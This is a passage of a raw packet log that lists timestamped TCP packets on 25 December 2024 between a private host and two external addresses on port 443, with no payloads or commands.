Dec 25, 2024 15:09:22.144593000 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.150249958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.150296926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.150333881 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.150350094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.150366068 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.150397062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.154119968 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.154161930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.154201984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.154212952 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.154226065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.154263020 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.159843922 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.159888983 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.159923077 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.159934998 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.159950972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.159997940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.164803028 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.164845943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.164927006 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.164938927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.164979935 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.248554945 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.248608112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.248661041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.248682022 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.248697042 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.248730898 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.323672056 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.323721886 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.323765039 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.323784113 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.323811054 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.323824883 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.330205917 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.330265045 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.330281973 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.330296993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.330321074 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.330343962 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.335810900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.335854053 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.335880995 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.335889101 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.335923910 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.335939884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.340761900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.340807915 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.340842962 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.340851068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.340878010 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.340898037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.346194983 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.346236944 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.346267939 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.346282005 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.346302032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.346323967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.351800919 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.351843119 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.351882935 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.351891041 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.351921082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.351938009 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.356744051 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.356786013 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.356820107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.356827021 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.356857061 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.356870890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.440834045 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.440888882 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.440951109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.440975904 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.440994024 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.441025019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.515861034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.515922070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.516036987 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.516050100 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.516062975 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.516321898 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.522368908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.522409916 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.522597075 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.522604942 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.522631884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.522653103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.527987957 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.528029919 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.528060913 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.528069019 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.528103113 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.528126001 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.532782078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.532825947 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.532856941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.532866001 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.532891989 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.532906055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.538414001 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.538455009 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.538486004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.538494110 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.538526058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.538537979 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.544008017 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.544050932 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.544080973 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.544087887 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.544116974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.544137955 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.548834085 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.548899889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.548908949 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.548930883 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.548958063 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.548991919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.633101940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.633126020 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.633308887 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.633323908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.633373022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.708045959 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.708091974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.708179951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.708190918 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.708225965 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.708239079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.714392900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.714440107 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.714483023 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.714490891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.714519978 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.714535952 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.720963955 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.721021891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.721070051 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.721077919 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.721112967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.721136093 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.725490093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.725533962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.725584984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.725593090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.725626945 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.725644112 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.730345964 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.730401993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.731405020 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.731419086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.731465101 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.735879898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.735925913 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.735970974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.735979080 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.736011028 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.736031055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.741471052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.741528034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.741566896 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.741575956 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.741614103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.741622925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.825618982 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.825670004 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.825756073 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.825781107 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.825809956 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.825848103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.900834084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.900886059 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.900922060 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.900933981 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.900964022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.900976896 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.907877922 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.907922029 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.907947063 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.907958984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.907985926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.908000946 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.912775993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.912818909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.912858009 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.912870884 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.912897110 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.912925005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.917661905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.917707920 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.917757034 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.917772055 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.917824030 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.917824030 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.923177004 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.923242092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.923263073 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.923278093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.923310041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.923362970 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.929047108 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.929090023 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.929121017 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.929135084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.929163933 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.929186106 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.934269905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.934314966 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.934365988 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.934380054 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:22.934408903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:22.934447050 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.017939091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.018027067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.018069983 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.018110991 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.018135071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.018160105 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.092868090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.092890978 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.092966080 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.093004942 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.093039989 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.093060970 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.098834038 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.098856926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.098911047 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.098927975 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.098964930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.098987103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.104331970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.104351997 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.104424953 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.104443073 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.104494095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.109916925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.109940052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.109998941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.110013962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.110043049 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.110085964 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.114784002 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.114806890 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.114876986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.114892960 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.114947081 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.120421886 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.120444059 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.120486975 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.120493889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.120529890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.120558977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.126214981 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.126250029 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.126287937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.126296997 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.126353979 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.126455069 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.209477901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.209526062 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.209599972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.209619045 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.209633112 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.209659100 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.284733057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.284853935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.285005093 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.285006046 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.285023928 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.285070896 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.291169882 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.291217089 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.291255951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.291273117 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.291306019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.291346073 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.296926975 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.296968937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.297009945 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.297029018 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.297060013 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.297080994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.301769972 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.301830053 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.301847935 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.301863909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.301886082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.301901102 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.306766987 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.306813002 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.306854963 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.306871891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.306899071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.306931019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.310584068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.310640097 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.310674906 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.310693026 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.310750961 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.310794115 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:23.310868025 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:23.313952923 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:10:31.590012074 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:31.590044975 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:31.590132952 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:31.591008902 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:31.591037035 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:32.806799889 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:32.806881905 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:32.809092045 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:32.809118032 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:32.809380054 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:32.852602005 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:32.854834080 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:32.854875088 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:32.854927063 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:33.534380913 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:33.534451008 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:33.534519911 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:33.536575079 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:33.536597013 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:33.536921978 CET	49823	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:33.536938906 CET	443	49823	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:33.544704914 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:33.544723034 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:33.544789076 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:33.546086073 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:33.546096087 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:34.796297073 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:34.796391964 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:34.800023079 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:34.800028086 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:34.800242901 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:34.801654100 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:34.801673889 CET	49825	443	192.168.2.4	104.21.112.1
Dec 25, 2024 15:10:34.801707983 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.555376053 CET	443	49825	104.21.112.1	192.168.2.4
Dec 25, 2024 15:10:35.555419922 CET	443	49825	104.21.112.1	192.168.2.4
